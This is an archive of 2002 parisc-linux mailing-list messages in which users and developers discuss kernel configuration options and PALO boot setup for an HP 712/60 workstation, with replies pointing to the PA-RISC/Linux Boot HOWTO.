References: <20021011132811.6e84c1d8.varenet@esiee.fr> <Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621821 15591 80.91.229.3 (22 Nov 2014 02:03:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:41 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>, parisc-linux@parisc-linux.org
To: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 06:54:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 937794829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 06:54:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17zzIm-0002cE-00; Fri, 11 Oct 2002 13:54:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi>; from q-funk@pp.fishpool.fi on Fri, Oct 11, 2002 at 03:22:14PM +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16460

On Fri, Oct 11, 2002 at 03:22:14PM +0300, Martin-ric Racine wrote:
> 2) Memory:  which module?  In which dialogue?

do you know of any linux architecture where you have to turn on a
configuration option to access your _ram_?  ok, x86 has that lame
1GB/4GB/64GB question, but parisc doesn't ask you a question about it.
why are you complaining?

> 3) Optional RS-232:  which module?  In which dialogue?

it says "serial driver" right after it.  the precise option you need to
turn on is :
      bool '   serial port on GSC support' CONFIG_SERIAL_GSC

> 6) Floppy:  which module?  PC Floppy definitely doesn't work.

no, nobody's made the floppy drive work yet.

> 8) Parallel:  which modules?  LASI/ASP builtin, or PC-style hardware too?

just LASI/ASP.

> b) SCSI:  HP LASI SCSI support for 53c700/710, or NCR53c7,8xx SCSI support too?

just the former.

> d) Optional BA:  which module?  In which dialogue?
> e) Core BA:  which module?  In which dialogue?

dep_bool '  Lasi I/O support' CONFIG_GSC_LASI $CONFIG_GSC

is this really so hard?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Boot
Date: Fri, 11 Oct 2002 09:54:50 -0300
Lines: 17
Approved: news@gmane.org
Message-ID: <004601c27125$632b35a0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621821 15592 80.91.229.3 (22 Nov 2014 02:03:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 06:55:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hsbcsv18.hsbc.com.br (hsbcsv18.hsbc.com.br [200.208.29.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89173483F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 06:55:20 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv18.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5ddf49d9fbac1c50544e4@hsbcsv18.hsbc.com.br> for <parisc-linux@lists.parisc-linux.org>;
 Fri, 11 Oct 2002 09:55:17 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g9BCtH222824
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 09:55:17 -0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16461

Hi all.

How to properly configure my HP 712/60 for loading the right boot files?
(/target/boot/vmlinux)?
(Oh, by the way, the boot installer tried to look for the files in
/target/vmlinux, and on the CD we can see /target/boot/vmlinux)

I guess I have to play with the ISL...but I couldnt find the right commands
for changing the default (/stand/hpux which dont even exists anymore) to my
boot thing.

Thanks.
Jeffo.





From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 15:59:02 +0300 (EEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0210111557140.24681-100000@hal.pp.fishpool.fi>
References: <20021011135400.J18545@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621821 15594 80.91.229.3 (22 Nov 2014 02:03:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:41 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 06:59:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id A51634829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 06:59:10 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 17zzNe-00087D-00; Fri, 11 Oct 2002 15:59:02 +0300
In-Reply-To: <20021011135400.J18545@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16462

On Fri, 11 Oct 2002, Matthew Wilcox wrote:

> On Fri, Oct 11, 2002 at 03:22:14PM +0300, Martin-=C9ric Racine wrote:
> > 3) Optional RS-232:  which module?  In which dialogue?
>=20
> it says "serial driver" right after it.  the precise option you need to
> turn on is :
>       bool '   serial port on GSC support' CONFIG_SERIAL_GSC
>=20
> > d) Optional BA:  which module?  In which dialogue?
> > e) Core BA:  which module?  In which dialogue?
>=20
> dep_bool '  Lasi I/O support' CONFIG_GSC_LASI $CONFIG_GSC
>=20
> is this really so hard?

Yes.  Nobody can guess about the GSC items, or if using only the Lasi-somet=
hing
option is enough when there is also a generic driver for some item.

--=20
Martin-=C9ric Racine, Espoo, Finland.
"Kas sa tahad mind? - Nej!!! =C4r du en idiot?!!"
http://www.pp.fishpool.fi/~q-funk/



From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Boot
Date: Fri, 11 Oct 2002 10:03:11 -0300
Lines: 19
Approved: news@gmane.org
Message-ID: <005901c27126$8d5132c0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621822 15599 80.91.229.3 (22 Nov 2014 02:03:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:42 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 07:03:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hsbcsv18.hsbc.com.br (hsbcsv18.hsbc.com.br [200.208.29.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88AF84845
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 07:03:42 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv18.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5ddf518067ac1c50544e4@hsbcsv18.hsbc.com.br> for <parisc-linux@parisc-linux.org>;
 Fri, 11 Oct 2002 10:03:38 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g9BD3b225305
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 10:03:37 -0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16463

 Hi all.

 How to properly configure my HP 712/60 for loading the right boot files?
 (/target/boot/vmlinux)?
 (Oh, by the way, the boot installer tried to look for the files in
 /target/vmlinux, and on the CD we can see /target/boot/vmlinux)

 I guess I have to play with the ISL...but I couldnt find the right
commands
 for changing the default (/stand/hpux which dont even exists anymore) to
my
 boot thing.

 Thanks.
 Jeffo.

>



From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 15:24:46 +0200
Organization: ESIEE
Lines: 17
Approved: news@gmane.org
Message-ID: <20021011152446.506e4f20.varenet@esiee.fr>
References: <20021011132811.6e84c1d8.varenet@esiee.fr>
	<Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621822 15600 80.91.229.3 (22 Nov 2014 02:03:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:42 +0000 (UTC)
Cc: q-funk@pp.fishpool.fi, parisc-linux@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 07:24:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d208.dhcp212-198-140.noos.fr [212.198.140.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C44E4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 07:24:51 -0600 (MDT)
Original-Received: from Tatooine (Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id g9BDOltT002397;
	Fri, 11 Oct 2002 15:24:47 +0200
In-Reply-To: <Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16464

On Fri, 11 Oct 2002 15:22:14 +0300 (EEST)
"Martin-" <q-funk@pp.fishpool.fi> wrote:

> 
> > A last point, subscribing to this mailing-list would be a good idea, or at
> > least taking a look at archives. You would have then noticed that the last
> > version of the PA-RISC/Linux Boot HOWTO has been released about 4 days ago,
> 
> Last online version on parisc-linux is dated from 2002-07-15.
hmm, I'm pretty interested by the URL actually.
This howto has _never_ been published on p-l.org.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP Boot
Date: Fri, 11 Oct 2002 15:30:08 +0200
Organization: ESIEE
Lines: 29
Approved: news@gmane.org
Message-ID: <20021011153008.69b217a7.varenet@esiee.fr>
References: <005901c27126$8d5132c0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621823 15603 80.91.229.3 (22 Nov 2014 02:03:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:43 +0000 (UTC)
Cc: jeffo@pop.hsbc.com.br
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 07:30:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d208.dhcp212-198-140.noos.fr [212.198.140.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65E1D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 07:30:13 -0600 (MDT)
Original-Received: from Tatooine (Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id g9BDU8tT002406;
	Fri, 11 Oct 2002 15:30:09 +0200
In-Reply-To: <005901c27126$8d5132c0$db0b0aa7@pcaktel083>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16465

On Fri, 11 Oct 2002 10:03:11 -0300
"Jeffo" <jeffo@pop.hsbc.com.br> wrote:

>  Hi all.
> 
>  How to properly configure my HP 712/60 for loading the right boot files?
>  (/target/boot/vmlinux)?
>  (Oh, by the way, the boot installer tried to look for the files in
>  /target/vmlinux, and on the CD we can see /target/boot/vmlinux)
> 
>  I guess I have to play with the ISL...but I couldnt find the right
> commands
>  for changing the default (/stand/hpux which dont even exists anymore) to
> my
>  boot thing.
> 

Everything is explained on the PA-RISC/Linux Boot HOWTO, released as of 
2002-10-04 (sorry the release date hasn't been correctly set in the changelog) in its 1.0 version.
Please check:
http://pateam.esiee.fr/doc.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Boot
Date: Fri, 11 Oct 2002 11:56:16 -0300
Lines: 94
Approved: news@gmane.org
Message-ID: <004301c27136$59b063e0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621823 15608 80.91.229.3 (22 Nov 2014 02:03:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:43 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 08:57:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hsbcsv17.hsbc.com.br (hsbcsv17.hsbc.com.br [200.208.29.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id C12294829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 08:56:59 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv17.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5ddfb910cbac1c505343c@hsbcsv17.hsbc.com.br> for <parisc-linux@parisc-linux.org>;
 Fri, 11 Oct 2002 11:56:46 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g9BEuh214144
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 11:56:43 -0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16466

 Another information:

 When trying to making system bootable (I installed the whole thing over
 again)
 it displays a message: "Problem: PALO wasnt able to install. You can
stuill
 remote boot and
 point the root device to the installed system".

 How the heck I do that??? =)

 If I try to "make the system bootable" again then the screen goes clear and
 it returns to the beggining
 of the process like I said below.

 Sorry to bother you with those questions, but I really would like to run
 this dist on my machine..

 Thanks!
 Jeffo.

 ----- Original Message -----
 From: Jeffo <jeffo@pop.hsbc.com.br>
 To: Thibaut VARENE <varenet@esiee.fr>
> Sent: Friday, October 11, 2002 11:18 AM
> Subject: Re: [parisc-linux] HP Boot
>
>
> > Hello.
> >
> > I read many docs and none of them explain it in detail how to exactly to
> > change my boot rom settings.
> > All mentions to ISL are to use serial connections only.....which is not
my
> > case... =(
> >
> > I just wanna change the boot path, that is, point to the Vmlinux guy.
> >
> > Another thing: after concluding installation, when I go to the step
"Make
> > system bootable", the screen (installer) goes blue and returns to the
very
> > beggining of the process "Welcome to....blablabla..."
> >
> > Any hints?
> > Thanks.
> > Jeffo.
> >
> > ----- Original Message -----
> > From: Thibaut VARENE <varenet@esiee.fr>
> > To: <parisc-linux@lists.parisc-linux.org>
> > Cc: <jeffo@pop.hsbc.com.br>
> > Sent: Friday, October 11, 2002 10:30 AM
> > Subject: Re: [parisc-linux] HP Boot
> >
> >
> > > On Fri, 11 Oct 2002 10:03:11 -0300
> > > "Jeffo" <jeffo@pop.hsbc.com.br> wrote:
> > >
> > > >  Hi all.
> > > >
> > > >  How to properly configure my HP 712/60 for loading the right boot
> > files?
> > > >  (/target/boot/vmlinux)?
> > > >  (Oh, by the way, the boot installer tried to look for the files in
> > > >  /target/vmlinux, and on the CD we can see /target/boot/vmlinux)
> > > >
> > > >  I guess I have to play with the ISL...but I couldnt find the right
> > > > commands
> > > >  for changing the default (/stand/hpux which dont even exists
> anymore)
> > to
> > > > my
> > > >  boot thing.
> > > >
> > >
> > > Everything is explained on the PA-RISC/Linux Boot HOWTO, released as
of
> > > 2002-10-04 (sorry the release date hasn't been correctly set in the
> > changelog) in its 1.0 version.
> > > Please check:
> > > http://pateam.esiee.fr/doc.html
> > >
> > > HTH,
> > >
> > >
> > > Thibaut VARENE
> > > The PA/Linux ESIEE Team
> > > http://pateam.esiee.fr/
> > >
> >
>



From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP Boot
Date: Fri, 11 Oct 2002 17:05:39 +0200
Organization: ESIEE
Lines: 97
Approved: news@gmane.org
Message-ID: <20021011170539.5d7a6558.varenet@esiee.fr>
References: <005901c27126$8d5132c0$db0b0aa7@pcaktel083>
	<20021011153008.69b217a7.varenet@esiee.fr>
	<001001c27131$1fb6b900$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621823 15610 80.91.229.3 (22 Nov 2014 02:03:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jeffo" <jeffo@pop.hsbc.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 09:05:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d208.dhcp212-198-140.noos.fr [212.198.140.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 695494829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 09:05:44 -0600 (MDT)
Original-Received: from Tatooine (Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id g9BF5dtT002444;
	Fri, 11 Oct 2002 17:05:40 +0200
In-Reply-To: <001001c27131$1fb6b900$db0b0aa7@pcaktel083>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16467

On Fri, 11 Oct 2002 11:18:51 -0300
"Jeffo" <jeffo@pop.hsbc.com.br> wrote:

> Hello.
> 
> I read many docs and none of them explain it in detail how to exactly to
> change my boot rom settings.
> All mentions to ISL are to use serial connections only.....which is not my
> case... =(
Maybe you should re-read the HOWTO _from the beginning_:
It is clearly stated that we're talking about *console* operations, whatever your console is, see section 3.2:
http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/consoles.html

About changing your Boot ROM setting:
this is pointless, since this is not what you want.
The boot ROM settings store the _hardware path_ to your boot device, see section 3.1.2.1:
http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/bootadmin.html#AEN202

> 
> I just wanna change the boot path, that is, point to the Vmlinux guy.

This is done by changing your PALO settings, either in palo.conf for definitive changes, or at boot time. See section 4:
http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/palo.html
for a complete description of PALO, and more specifically:
section 4.3.3 to learn how to change your config file options:
http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/paloappusage.html#bootablepartition
and section 4.4 to learn how to use PALO during boot sequence:
http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/paloearlyboot.html


> 
> Another thing: after concluding installation, when I go to the step "Make
> system bootable", the screen (installer) goes blue and returns to the very
> beggining of the process "Welcome to....blablabla..."
This is not normal.
What kind of installation are you using ? CD/Network ?
If cd, what ISO ? Have you checked the md5sum ?

Hope that helps.

